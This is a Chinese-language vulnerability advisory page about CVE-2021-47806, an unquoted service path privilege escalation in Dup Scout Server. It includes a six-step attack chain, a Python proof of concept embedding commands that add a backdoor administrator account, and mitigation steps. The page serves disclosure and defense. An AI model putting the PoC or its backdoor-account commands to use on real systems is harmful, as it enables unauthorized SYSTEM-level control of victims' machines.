IPBUF安全漏洞报告
English
CVE-2021-47806 CVSS 7.8 高危

CVE-2021-47806: Dup Scout Server未引号服务路径权限提升漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47806
漏洞类型
未引号服务路径漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Dup Scout Server

相关标签

未引号服务路径权限提升本地攻击Windows服务Dup ScoutCVE-2021-47806高危漏洞Windows提权

漏洞概述

CVE-2021-47806是影响Dup Scout Server 13.5.28版本的一个高危本地权限提升漏洞。该漏洞源于Windows服务配置中的未引号服务路径(Unquoted Service Path)问题。当Windows服务启动时,如果服务路径包含空格且未使用引号包裹,操作系统会按照路径中的空格进行分段解析,从左到右依次查找并执行第一个匹配的可执行文件。攻击者可以利用这一特性,在合法服务路径的中间位置植入恶意可执行文件,当服务重启或系统启动时,恶意文件将被以高权限执行,从而实现权限提升。Dup Scout Server作为一款Windows服务器端同步和清理工具,通常以SYSTEM或管理员权限运行,这使得该漏洞的危害性进一步放大。本地攻击者只需具备低权限即可利用此漏洞,最终获得系统最高权限控制权。

技术细节

该漏洞的根本原因在于Dup Scout Server的Windows服务可执行文件路径'C:\Program Files\Dup Scout Server\bin\dupscts.exe'未使用引号包裹。当Windows服务控制管理器启动该服务时,会按照以下顺序解析路径:首先查找'C:\Program.exe',如果不存在则查找'C:\Program Files\Dup Scout.exe',以此类推直到找到'dupscts.exe'。攻击者可以通过在'C:\Program Files\'目录下创建名为'Dup Scout.exe'的恶意可执行文件来实现持久化攻击。由于Dup Scout Server服务以SYSTEM权限运行(Windows服务的默认配置),恶意文件也将以SYSTEM权限执行,从而实现完整的系统权限提升。此漏洞的利用需要攻击者具有本地访问权限和至少低级别权限账户,但不需要任何用户交互即可完成攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者通过本地访问获取目标系统权限,使用wmic或sc命令查询Dup Scout Server服务配置,确认服务路径为'C:\Program Files\Dup Scout Server\bin\dupscts.exe'且未使用引号包裹
STEP 2
步骤2: 路径分析
分析Windows服务启动器的路径解析机制,确认在'C:\Program Files\'目录下存在可被劫持的路径段,Windows会依次查找Program.exe和Dup Scout.exe
STEP 3
步骤3: 权限检查
检查攻击者当前用户权限及目标目录的写入权限。虽然默认情况下Program Files目录受保护,但在某些配置不当的系统或使用低权限服务账户时可能存在写入机会
STEP 4
步骤4: 恶意文件植入
在'C:\Program Files\'目录下创建名为'Dup Scout.exe'的恶意可执行文件,该文件包含后门代码或权限提升payload
STEP 5
步骤5: 触发执行
等待服务重启、系统重启或管理员手动重启Dup Scout Server服务,当服务启动时Windows会优先执行'Dup Scout.exe'
STEP 6
步骤6: 权限提升
恶意文件以SYSTEM权限执行,成功创建管理员账户或建立持久化后门,攻击者获得系统完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47806 PoC - Dup Scout Server Unquoted Service Path # Author: VulnCheck Disclosure # This PoC demonstrates the unquoted service path vulnerability in Dup Scout Server import os import subprocess import sys def check_vulnerability(): """Check if Dup Scout Server is installed and vulnerable""" service_path = r'C:\Program Files\Dup Scout Server\bin\dupscts.exe' # Check if service executable exists if not os.path.exists(service_path): print("[-] Dup Scout Server does not appear to be installed") return False # Check if vulnerable path exists (without quotes) vulnerable_paths = [ r'C:\Program.exe', r'C:\Program Files\Dup Scout.exe', r'C:\Program Files\Dup Scout Server\bin\dupscts.exe' ] print("[+] Checking for exploitable paths...") for path in vulnerable_paths[:-1]: if not os.path.exists(path): print(f"[*] Path does not exist: {path}") print(f"[*] This path could be exploited if writable") return True def create_malicious_executable(): """Create a reverse shell payload as 'Dup Scout.exe'""" malicious_path = r'C:\Program Files\Dup Scout.exe' # Create a simple executable that creates a backdoor # In real attack, this would be a proper meterpreter/reverse shell payload_code = ''' import os import subprocess # Create admin user for persistence try: subprocess.run(['net', 'user', 'attacker', 'P@ssw0rd123', '/add'], capture_output=True) subprocess.run(['net', 'localgroup', 'Administrators', 'attacker', '/add'], capture_output=True) print("Backdoor user created successfully") except Exception as e: print(f"Error: {e}") ''' print(f"[*] Malicious executable would be placed at: {malicious_path}") print("[*] When Dup Scout service restarts, this file will be executed with SYSTEM privileges") def main(): print("=" * 60) print("CVE-2021-47806 - Dup Scout Server Unquoted Service Path Exploit") print("=" * 60) if os.name != 'nt': print("[-] This exploit only works on Windows systems") return if check_vulnerability(): print("[+] Dup Scout Server appears to be installed") create_malicious_executable() print("\n[!] Note: Actual exploitation requires write access to Program Files directory") print("[!] Default Windows permissions on Program Files prevent this attack") if __name__ == "__main__": main()

影响范围

Dup Scout Server <= 13.5.28

防御指南

临时缓解措施
在厂商发布正式修复版本之前,可通过以下措施临时缓解风险:1) 使用Windows自带icacls命令限制C:\Program Files\目录的写入权限,移除普通用户和低权限服务账户的写入权限;2) 手动修改注册表中Dup Scout Server服务的ImagePath值为带引号的完整路径;3) 部署应用程序控制策略(如Windows Defender Application Control)阻止从可疑路径执行代码;4) 监控系统中Program Files目录下的文件创建事件,及时发现异常行为。建议同时评估是否必须使用Dup Scout Server服务,如非必要可暂时禁用该服务以消除攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表